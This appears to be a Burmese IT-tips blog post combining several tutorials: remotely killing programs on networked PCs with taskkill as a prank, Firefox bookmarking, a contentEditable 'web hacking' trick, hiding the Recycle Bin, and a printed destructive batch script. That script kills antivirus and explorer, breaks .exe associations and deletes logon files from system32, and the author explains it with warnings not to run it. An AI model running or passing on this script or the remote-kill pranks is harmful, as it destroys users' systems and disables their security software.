Network မွတစ္ဆင့္ အျခားကြန္ပ်ဴတာမ်ားကို ထိန္းခ်ဳပ္ျခင္း
(၁)
BlackGhost နဲ႔ york တို႔ Cbox မွာ ေအာ္ထားလို႔ လုပ္နည္းေလးတစ္ခုကို
ေဖာ္ျပေပးလိုက္ပါတယ္။ Network နဲ႔ မရင္းႏီွးေသးသူေတြအတြက္ေတာ့
အိမ္သံုး၊႐ံုးသံုး ကြန္ရက္ လက္ေတြ႕တည္ေဆာက္ျခင္းဆိုတဲ့ စာအုပ္ေလးေရးၿပီးေတာ့မွပဲ
လက္ေဆာင္ေပးေတာ့မယ္။
ကိုယ့္ Network အတြင္းမွာရိွတဲ့ တျခားကြန္ပ်ဴတာေတြကို
ထိန္းခ်ဳပ္တဲ့နည္းေတြ ေျမာက္ျမားစြာ ရိွပါတယ္။
တျခားကြန္ပ်ဴတာဘာလုပ္ေနတာကအစ ထိုင္ၾကည့္လို႔ရတဲ့ Program ေတြလည္း
ေျမာက္ျမားစြာရိွပါတယ္။ Local Chat (Text, Voice) ၊ Local Mail၊ Local
Intranet စတာေတြလည္း ဖန္တီးလို႔ ရပါေသးတယ္။
အခုေတာ့ တျခားကြန္ပ်ဴတာေတြမွာ သံုးေနတဲ့ Program ေတြကို
လွမ္းပိတ္တဲ့နည္းေလး တင္လိုက္ပါတယ္။ တစ္ခုေလာက္ေတာင္းဆိုခ်င္တာက
ဒီနည္းလမ္းကို အသံုးခ်ၿပီး သူတစ္ပါးကို အေႏွာင့္အယွက္မေပးပါနဲ႔။
အထူးေတာင္းဆိုလိုပါတယ္။
၁။ ပထမဆံုး Command Prompt ထဲ ၀င္လုိက္ပါ။
၂။ တျခားကြန္ပ်ဴတာမွာ run ေနတဲ့ Program list ကို ၾကည့္ႏိုင္ဖို႔
tasklist command ကို သံုးရပါ့မယ္။ Parameter ေတြ ခံရပါမယ္။ tasklist /s
computername လို႔ ႐ိုက္ပါ။ computername ေနရာမွာ ကိုယ္ဆက္သြယ္မယ့္
ကြန္ပ်ဴတာရဲ႕ name ကို ထည့္ရပါမယ္။
၃။ ဒါဆိုရင္ အဲဒီ ကြန္ပ်ဴတာမွာ run ေနတဲ့ program list ေတြ ေပၚလာပါၿပီ။
၄။ လွမ္းပိတ္ႏိုင္ဖို႔အတြက္ taskkill command ကို ထပ္သံုးရပါ့မယ္။
၅။ taskkill /s computername /im programname ပါ။
၆။ programname ေနရာမွာ ပိတ္ခ်င္တဲ့ program name ကို ႐ိုက္ရပါမယ္။ ဥပမာ
notepad.exe
ခဏေလာက္ ေစာင့္ၾကည့္ပါ။ ၿပီးရင္ အဲဒီကြန္ပ်ဴတာ ကိုင္တဲ့သူ ငါ့ကြန္ပ်ဴတာ
ဘာျဖစ္သြားတာပါလိမ့္ဆိုတဲ့ မ်က္ႏွာႀကီးကို စပ္ၿဖီးၿဖီးနဲ႔
ၾကည့္ေနလိုက္ေပါ့။
အေျပာမဟုတ္ဘူးေနာ္။
Mozilla Firefox တြင္ ကိုယ္ၾကိဳက္တဲ့၀က္ဆိုဒ္ေတြကို bookmark ျဖင့္အမွတ္အသားျပဳျခင္း
Mozilla Firefoxကိုသံုးေနတဲ့လူေတြကကိုယ့္ႏွစ္သက္တဲ့
၀က္ဆိုဒ္ေတြကိုအမွတ္အသားျပဳခ်င္ရင္နည္းရွိပါတယ္။
အဲဒီလိုလုပ္ရင္ကိုယ္ၾကိဳက္တဲ့၀က္ဆိုဒ္ေတြကို
လိပ္စာရိုက္ႏွိပ္စရာမလိုဘဲနဲ့ႏွိပ္လိုက္တာနဲ့ကိုယ္ႏွစ္သက္တဲ့၀က္ဆိုဒ္ကိုတန္းေရာက္သြားမွာပါ။
အရင္ဦးဆံုးကိုယ္ၾကိဳက္တဲ့၀က္ဆိုဒ္ကိုmozilla firefoxတြင္ဖြင့္လိုက္ပါ။
ျပီးရင္linkေဘးနားကၾကယ္ပြင့္ပံုစံကိုႏွိပ္ျပီးေတာ့ေနာက္ထပ္တစ္ခ်က္ထပ္ႏွိပ္ပါျပီးေတာ့
Bockmarks Toolbarဆိုတာကိုေရြးပါ။
အဲဒီလိုေတြလုပ္ျပီးရင္Mozilla Tool barမွာကိုယ္ၾကိဳက္တဲ့၀က္ဆိုဒ္ကေပၚေနမွာျဖစ္ပါတယ္။
Wed Hacking ဆိုတာကို ေပ်ာ္စရာေလးနဲ ့စမ္းႀကည့္ရေအာင္
ကဲပထမဦးဆုံး ကုိစမ္းခ်င္တဲ့ ၀က္ဆုိက္တစ္ခုကုိ အရင္ဖြင့္ၾကည့္လုိက္ပါ ......။
(၁) website တစ္ခုဖြင့္
(၂) ဖြင့္ထားတဲ့ website ရဲ႕ address အကြက္မွာ
Adress ကိုဖ်က္ျပီး ေအာက္က ကုတ္ေလးကုိ ေကာ္ပီကူးၿပီး ထည့္လုိက္
ၿပီးရင္ေတာ့ enter ကုိႏွိပ္လုိက္ပါ ....
javascript: document.body.contentEditable = 'true'; document.designMode = 'on'; void 0
ၿပီးသြားၿပီဆုိရင္ အဆုိပါ ဆုိက္ရဲ႕ စာမ်က္ႏွာေပၚကုိ ေရာက္သြားတာနဲ႔ ၄င္း website အတြင္း Admin တစ္ေယာက္လို
ဖ်က္ခ်င္တာကုိဖ်က္၊ ေရးခ်င္တာကုိ ျပန္ေရးႏိုင္ၿပီေနာ္။
သံုးၾကည့္ပါ။
Recycle Bin(အမွိဳက္ပုံး) ေဖ်ာက္နည္း
window + Start -> run -> gpedit.msc
အဲဒီမွာ Group policy ေပၚလာပါလိမ့္မယ္။ အဲဒီကေန
Local Computer Policy -> User Configuration -> Desktop မွ Remove Recycle Bin icon from desktop(double click)>> setting ထဲကေန Enabled ကိုေရႊးျပီး အိုေကေပးလိုက္ရင္ ရပါျပီ။ ျပီးရင္ေတာ့ desktop ကို refresh တစ္ခ်က္ေလာက္ေပးလိုက္ပါ။ အမွိဳက္ပံုးၾကီး ေပ်ာက္သြားပါလိမ့္မယ္။
ကြ်န္ေတာ္က Recycle bin ကုိ ဥပမာထား၍ အစမ္းေဖ်ာက္ျပတာျဖစ္ပါတယ္။ ထုိနည္းတူစြာ က်န္တဲ့ icon ေလးမ်ားကိုလည္း စိတ္ကူးရွိသလို ေဖ်ာက္နိုင္ပါတယ္။
ဆရာညီေနမင္းဆီမွ ကူးယူတင္ျပသည္။
အခုတေလာ ဟိုေလွ်ာက္ရွာ ဒီေလွ်ာက္ရွာနဲ႔ bat file ေလးေတြ ကလိၾကည့္ျဖစ္ေနတယ္။ မေန႔က ရြာလည္သြားေသးတယ္။
bat file အေနနဲ႔ေရးၿပီး CMD ကေန လုပ္စားသြားတာ။ ကိုယ္ကလိထားတဲ့အလုပ္ ေသခ်ာျပန္ၾကည့္မိမွပဲ အေျဖျပန္ရေတာ့တယ္။
အက်င့္ပါေနတာကိုး၊ စာမဖတ္ပဲ OK ႏွိပ္တတ္တဲ့အက်င့္ Next ႏွိပ္တတ္တဲ့ အက်င့္ေတြေၾကာင့္ပါ။
ဒီလို...... ေအာက္ကကုဒ္ကိုၾကည့္ပါ။ ၾကည့္ရံုပဲၾကည့္ပါ။ မစမ္းပါနဲ႔။ notepad ထဲကို မထည့္ပါနဲ႔။ .bat နဲ႔ မသိမ္းပါနဲ႔။
သိမ္းမိရင္ေတာင္မွ မ Run ပါနဲ႔။
Code
title Hack Setup
color 0A
@echo off
set end=md "Hack installing"
set fin=copy "Hack log.txt" "Installing"
%end%
%fin%
net send * Hack is installing, press OK to begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is hacked....
msg * I warned you, and you kept going. Challenge me and this is what happens.
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
cls
shutdown
ပထမတစ္ေၾကာင္းမွာ ျပထားတယ္ title ဆိုတာေခါင္းစဥ္
ဒုတိယတစ္ေၾကာင္း color=0A အဲဒါက CMD မွာေပၚမယ့္ အေရာင္။
က်န္တဲ့အပိုင္းက ကေလးကစားစရာလို႔မွတ္၊ အဓိက က........
assoc .exe=txtfile
assoc .txt=mp3file
exe=txtfiles တဲ႔။ ဆိုလိုတာက exe file မွန္သမွ်ကို txt file အေနနဲ႔ေျပာင္းပစ္လိုက္မယ္။
.txt=mp3file ဆိုေတာ့ txt file မွန္သမွ်ကို mp3 file အေနနဲ႔ေျပာင္းပစ္လိုက္မယ္။
ရလဒ္ကေတာ့ exe ေတြ ဖြင့္မရေတာ့ဘူး။
DEL C:\WINDOWS\system32\
ဆိုတဲ့အတြက္ ေျပာစရာေတာင္ မလိုေတာ့ဘူး၊ system32 ထဲကရွိတာေတြ ဖ်က္မယ္ေပါ့။
ဒါေပမယ့္ အဲဒီေနာက္မွာမွ logoff.exe,logon.exe,logon.scr လို႔ျပထားေတာ့ အဲဒီဖုိင္ေတြကိုပဲ ဖ်က္မယ္ဆိုတဲ့သေဘာ။
msg * It is you who is hacked.... ဆိုတာကေတာ့ သိေလာက္မွာပါ။ run ေပးလိုက္ရင္ေပၚလာမယ့္ message ကိုဆိုလိုတာပါ။
assoc .exe=txtfile ဒီေနရာမွာ တဖိုင္ကေနတဖိုင္ ႀကိဳက္တာေျပာင္းလို႔ရပါတယ္။
မွတ္ခ်က္။ ။ သိရေအာင္ တင္ေပးတာပါ။ ကၽြန္ေတာ္လည္း သိတာမဟုတ္ပါဘူး။ ဖိုရမ္တကာ လိုက္ေမႊရင္း ေတြ႕လာတာပါ။
တကယ္လို႔ စမ္းမိတယ္ဆိုရင္လည္း .exe=.exe လို႔ ျပန္ေရးၿပီးျပန္ run လိုက္ေပါ့။
ေလးစားစြာျဖင့္
Labels: IT နည္းပညာ
